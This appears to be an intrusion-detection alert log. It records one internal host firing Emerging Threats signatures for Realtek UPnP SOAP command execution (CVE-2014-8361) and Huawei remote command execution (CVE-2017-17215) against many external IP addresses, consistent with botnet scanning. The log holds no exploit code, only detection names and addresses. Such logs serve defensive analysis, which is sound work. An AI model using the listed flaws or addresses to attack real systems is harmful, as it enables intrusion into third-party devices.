07/20/24-23:01:46.987215	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58068	52869	192.168.2.23	1.176.237.99
07/20/24-23:01:41.259813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46320	52869	192.168.2.23	130.201.79.70
07/20/24-23:01:51.576561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49878	52869	192.168.2.23	102.31.132.7
07/20/24-23:01:48.138392	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53770	52869	192.168.2.23	97.241.192.98
07/20/24-23:01:10.523865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35540	52869	192.168.2.23	60.92.43.190
07/20/24-23:01:11.816504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53168	37215	192.168.2.23	157.236.178.97
07/20/24-23:01:46.629198	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56362	52869	192.168.2.23	99.98.54.155
07/20/24-23:01:47.523523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33250	52869	192.168.2.23	50.12.228.50
07/20/24-23:01:27.679304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56008	37215	192.168.2.23	157.42.253.1
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39140	37215	192.168.2.23	157.119.197.238
07/20/24-23:01:45.382207	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51494	52869	192.168.2.23	70.191.15.111
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60616	37215	192.168.2.23	43.169.90.245
07/20/24-23:01:53.068475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45506	52869	192.168.2.23	81.196.84.169
07/20/24-23:01:31.327808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32914	52869	192.168.2.23	97.255.56.23
07/20/24-23:01:07.005156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57052	37215	192.168.2.23	41.148.208.60
07/20/24-23:02:00.062043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48916	52869	192.168.2.23	189.86.15.141
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50816	37215	192.168.2.23	197.197.41.106
07/20/24-23:01:44.611556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47134	52869	192.168.2.23	57.16.142.227
07/20/24-23:01:42.677814	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43900	52869	192.168.2.23	204.114.85.200
07/20/24-23:01:44.466756	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40356	52869	192.168.2.23	86.24.154.203
07/20/24-23:01:44.825081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39182	52869	192.168.2.23	43.113.255.232
07/20/24-23:01:40.321965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53252	37215	192.168.2.23	197.122.17.30
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56934	37215	192.168.2.23	141.231.204.102
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35956	37215	192.168.2.23	41.48.165.8
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45528	37215	192.168.2.23	157.50.174.241
07/20/24-23:01:41.266946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49308	52869	192.168.2.23	130.96.13.171
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41180	37215	192.168.2.23	41.255.190.193
07/20/24-23:02:00.651394	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32944	52869	192.168.2.23	186.13.149.1
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54746	37215	192.168.2.23	59.29.162.151
07/20/24-23:01:42.971099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38696	52869	192.168.2.23	180.231.223.193
07/20/24-23:01:47.783977	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40278	52869	192.168.2.23	206.154.64.238
07/20/24-23:03:46.030378	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41142	52869	192.168.2.23	2.183.96.31
07/20/24-23:01:08.588009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34436	52869	192.168.2.23	2.32.130.76
07/20/24-23:01:42.924014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57080	52869	192.168.2.23	12.110.126.98
07/20/24-23:01:11.633481	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58682	37215	192.168.2.23	124.20.21.168
07/20/24-23:02:04.022244	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48646	52869	192.168.2.23	50.192.76.252
07/20/24-23:01:44.953142	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46738	52869	192.168.2.23	220.31.50.128
07/20/24-23:01:53.484243	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59706	52869	192.168.2.23	112.243.101.70
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36302	37215	192.168.2.23	157.135.212.156
07/20/24-23:01:44.405053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33808	52869	192.168.2.23	153.201.149.50
07/20/24-23:01:48.036012	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51362	52869	192.168.2.23	88.132.0.162
07/20/24-23:01:41.258057	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53762	52869	192.168.2.23	221.103.3.16
07/20/24-23:01:43.087294	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41836	52869	192.168.2.23	183.141.159.182
07/20/24-23:01:46.495508	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32926	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:12.861753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60648	52869	192.168.2.23	183.182.103.28
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60702	37215	192.168.2.23	157.154.200.5
07/20/24-23:01:45.063335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45256	52869	192.168.2.23	93.44.110.204
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35956	37215	192.168.2.23	41.48.165.8
07/20/24-23:01:11.636425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50264	37215	192.168.2.23	41.248.82.51
07/20/24-23:01:49.198416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47642	52869	192.168.2.23	156.133.161.252
07/20/24-23:01:08.640831	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55554	52869	192.168.2.23	187.26.13.206
07/20/24-23:01:42.509003	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48078	52869	192.168.2.23	88.171.168.15
07/20/24-23:01:41.293630	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36548	52869	192.168.2.23	118.3.222.239
07/20/24-23:02:11.947779	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45322	52869	192.168.2.23	59.213.19.147
07/20/24-23:01:13.299019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35426	52869	192.168.2.23	191.208.79.121
07/20/24-23:01:40.332650	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37688	37215	192.168.2.23	157.79.18.234
07/20/24-23:02:02.601575	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57282	52869	192.168.2.23	19.154.207.41
07/20/24-23:01:55.273926	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36792	52869	192.168.2.23	18.137.178.82
07/20/24-23:01:08.572556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44650	52869	192.168.2.23	64.43.73.86
07/20/24-23:01:24.707761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33544	52869	192.168.2.23	40.226.47.93
07/20/24-23:01:24.790282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58736	52869	192.168.2.23	108.240.199.7
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50714	37215	192.168.2.23	197.150.190.33
07/20/24-23:02:08.171169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48478	52869	192.168.2.23	151.9.73.188
07/20/24-23:02:00.570605	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45240	52869	192.168.2.23	44.143.79.165
07/20/24-23:01:14.152613	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50726	52869	192.168.2.23	1.209.93.74
07/20/24-23:01:45.122550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47904	52869	192.168.2.23	191.68.229.244
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35366	37215	192.168.2.23	157.25.141.126
07/20/24-23:01:45.179680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58360	52869	192.168.2.23	50.123.92.219
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44098	37215	192.168.2.23	41.239.125.129
07/20/24-23:01:11.816521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33148	37215	192.168.2.23	165.8.237.202
07/20/24-23:01:48.576250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41576	52869	192.168.2.23	203.57.14.26
07/20/24-23:01:34.053062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60982	37215	192.168.2.23	24.36.209.119
07/20/24-23:01:43.890780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60936	52869	192.168.2.23	51.131.43.210
07/20/24-23:01:42.151857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36342	52869	192.168.2.23	181.21.97.146
07/20/24-23:01:46.359091	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35414	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:57.500950	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34280	52869	192.168.2.23	145.1.23.220
07/20/24-23:02:04.476708	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40524	52869	192.168.2.23	133.4.55.11
07/20/24-23:01:51.067695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50730	52869	192.168.2.23	162.125.127.147
07/20/24-23:02:14.686790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55400	52869	192.168.2.23	14.149.133.62
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53068	37215	192.168.2.23	177.199.180.176
07/20/24-23:01:43.014738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60576	52869	192.168.2.23	135.97.77.234
07/20/24-23:01:41.991545	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55570	52869	192.168.2.23	191.59.254.237
07/20/24-23:01:04.779951	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37504	52869	192.168.2.23	44.181.179.103
07/20/24-23:01:43.921490	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47776	52869	192.168.2.23	153.197.120.12
07/20/24-23:01:50.807258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35422	52869	192.168.2.23	180.65.88.44
07/20/24-23:01:08.590754	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56354	52869	192.168.2.23	218.185.172.90
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48700	37215	192.168.2.23	197.225.101.65
07/20/24-23:01:42.653654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60364	52869	192.168.2.23	85.15.162.89
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32836	37215	192.168.2.23	157.66.141.65
07/20/24-23:01:41.156801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60570	52869	192.168.2.23	20.143.101.231
07/20/24-23:01:42.751824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44208	52869	192.168.2.23	106.184.161.191
07/20/24-23:01:43.365017	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51488	52869	192.168.2.23	90.64.10.170
07/20/24-23:01:42.588824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37778	52869	192.168.2.23	69.23.248.153
07/20/24-23:01:43.197088	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33372	52869	192.168.2.23	135.97.77.234
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36266	37215	192.168.2.23	176.150.171.140
07/20/24-23:01:46.661049	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58624	52869	192.168.2.23	165.29.53.230
07/20/24-23:01:42.809715	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57964	52869	192.168.2.23	218.79.146.2
07/20/24-23:01:52.720668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45442	52869	192.168.2.23	49.245.141.79
07/20/24-23:01:52.305893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40326	52869	192.168.2.23	198.12.218.135
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45912	37215	192.168.2.23	157.19.254.108
07/20/24-23:01:54.104766	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44562	52869	192.168.2.23	79.6.78.78
07/20/24-23:01:24.745266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38978	52869	192.168.2.23	67.128.52.113
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37766	37215	192.168.2.23	74.139.190.105
07/20/24-23:01:48.885298	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49372	52869	192.168.2.23	179.176.134.213
07/20/24-23:01:45.660608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35026	52869	192.168.2.23	130.184.173.22
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59782	37215	192.168.2.23	157.38.204.229
07/20/24-23:01:42.442441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60254	52869	192.168.2.23	99.233.112.21
07/20/24-23:01:45.540580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53822	52869	192.168.2.23	156.192.144.142
07/20/24-23:01:47.163877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47156	52869	192.168.2.23	187.174.160.150
07/20/24-23:01:48.965786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58068	52869	192.168.2.23	42.135.139.61
07/20/24-23:02:11.703257	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48238	52869	192.168.2.23	202.190.28.250
07/20/24-23:01:31.312311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44086	52869	192.168.2.23	179.40.74.15
07/20/24-23:01:42.325814	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35148	52869	192.168.2.23	192.18.152.238
07/20/24-23:01:50.949008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60078	52869	192.168.2.23	107.238.169.17
07/20/24-23:01:40.296076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46558	37215	192.168.2.23	157.116.51.144
07/20/24-23:01:46.755168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52648	52869	192.168.2.23	187.223.52.236
07/20/24-23:01:00.639012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37310	37215	192.168.2.23	157.115.23.92
07/20/24-23:01:31.328066	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49834	52869	192.168.2.23	116.88.149.60
07/20/24-23:01:11.631549	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49196	37215	192.168.2.23	157.16.120.147
07/20/24-23:01:42.571884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60498	52869	192.168.2.23	18.151.187.19
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40914	37215	192.168.2.23	157.200.107.177
07/20/24-23:01:51.266338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59852	52869	192.168.2.23	141.3.146.221
07/20/24-23:01:45.511523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49878	52869	192.168.2.23	113.71.166.108
07/20/24-23:01:42.549328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52160	52869	192.168.2.23	220.250.27.9
07/20/24-23:01:53.420758	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59858	52869	192.168.2.23	72.136.42.217
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51658	37215	192.168.2.23	43.131.249.62
07/20/24-23:02:09.627181	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43442	52869	192.168.2.23	164.88.135.139
07/20/24-23:01:47.532849	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32992	52869	192.168.2.23	210.32.95.217
07/20/24-23:01:49.877061	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42084	52869	192.168.2.23	14.190.237.146
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41240	37215	192.168.2.23	198.107.98.141
07/20/24-23:01:42.611005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42480	52869	192.168.2.23	12.129.173.144
07/20/24-23:01:32.027082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41772	37215	192.168.2.23	212.103.196.38
07/20/24-23:01:42.374543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49044	52869	192.168.2.23	80.70.75.159
07/20/24-23:01:47.552279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51732	52869	192.168.2.23	48.81.156.141
07/20/24-23:01:00.633810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45072	37215	192.168.2.23	157.230.177.125
07/20/24-23:01:04.050503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53458	37215	192.168.2.23	197.5.29.40
07/20/24-23:01:43.813001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45390	52869	192.168.2.23	169.195.139.119
07/20/24-23:01:45.519802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39278	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:41.354322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42528	52869	192.168.2.23	19.15.33.52
07/20/24-23:02:14.686790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40436	52869	192.168.2.23	211.214.194.53
07/20/24-23:01:51.963339	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40804	52869	192.168.2.23	67.67.248.34
07/20/24-23:01:48.842529	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32888	52869	192.168.2.23	36.12.14.153
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34472	37215	192.168.2.23	41.90.43.161
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54432	37215	192.168.2.23	157.157.95.90
07/20/24-23:01:42.507489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34838	52869	192.168.2.23	216.159.45.191
07/20/24-23:01:42.616434	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32946	52869	192.168.2.23	197.25.236.70
07/20/24-23:01:42.673065	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36994	52869	192.168.2.23	158.212.171.84
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53102	37215	192.168.2.23	157.170.56.215
07/20/24-23:01:41.974742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54378	52869	192.168.2.23	212.24.31.41
07/20/24-23:01:49.660516	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51048	52869	192.168.2.23	133.169.65.78
07/20/24-23:01:40.301143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37048	37215	192.168.2.23	149.181.71.228
07/20/24-23:01:08.609855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60378	52869	192.168.2.23	216.170.33.89
07/20/24-23:01:42.790680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40562	52869	192.168.2.23	108.54.73.191
07/20/24-23:01:49.120513	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36432	52869	192.168.2.23	43.180.222.83
07/20/24-23:01:34.044152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40310	37215	192.168.2.23	54.105.148.229
07/20/24-23:01:41.378556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56714	52869	192.168.2.23	61.42.34.219
07/20/24-23:01:05.141553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35296	52869	192.168.2.23	133.46.67.74
07/20/24-23:01:46.019511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33542	52869	192.168.2.23	164.28.92.86
07/20/24-23:02:02.714716	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43626	52869	192.168.2.23	32.132.194.251
07/20/24-23:01:24.444696	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48644	52869	192.168.2.23	114.247.247.18
07/20/24-23:01:43.791502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55812	52869	192.168.2.23	197.159.127.103
07/20/24-23:01:44.680845	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37798	52869	192.168.2.23	64.111.30.226
07/20/24-23:01:25.383450	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58750	52869	192.168.2.23	186.254.145.51
07/20/24-23:01:27.656128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41372	37215	192.168.2.23	197.71.44.74
07/20/24-23:01:49.663162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33472	52869	192.168.2.23	36.71.23.107
07/20/24-23:01:08.650213	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44102	52869	192.168.2.23	115.161.142.144
07/20/24-23:02:00.866395	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40598	52869	192.168.2.23	209.114.160.105
07/20/24-23:01:43.474436	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54350	52869	192.168.2.23	133.125.214.226
07/20/24-23:01:27.723651	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52594	37215	192.168.2.23	157.31.74.199
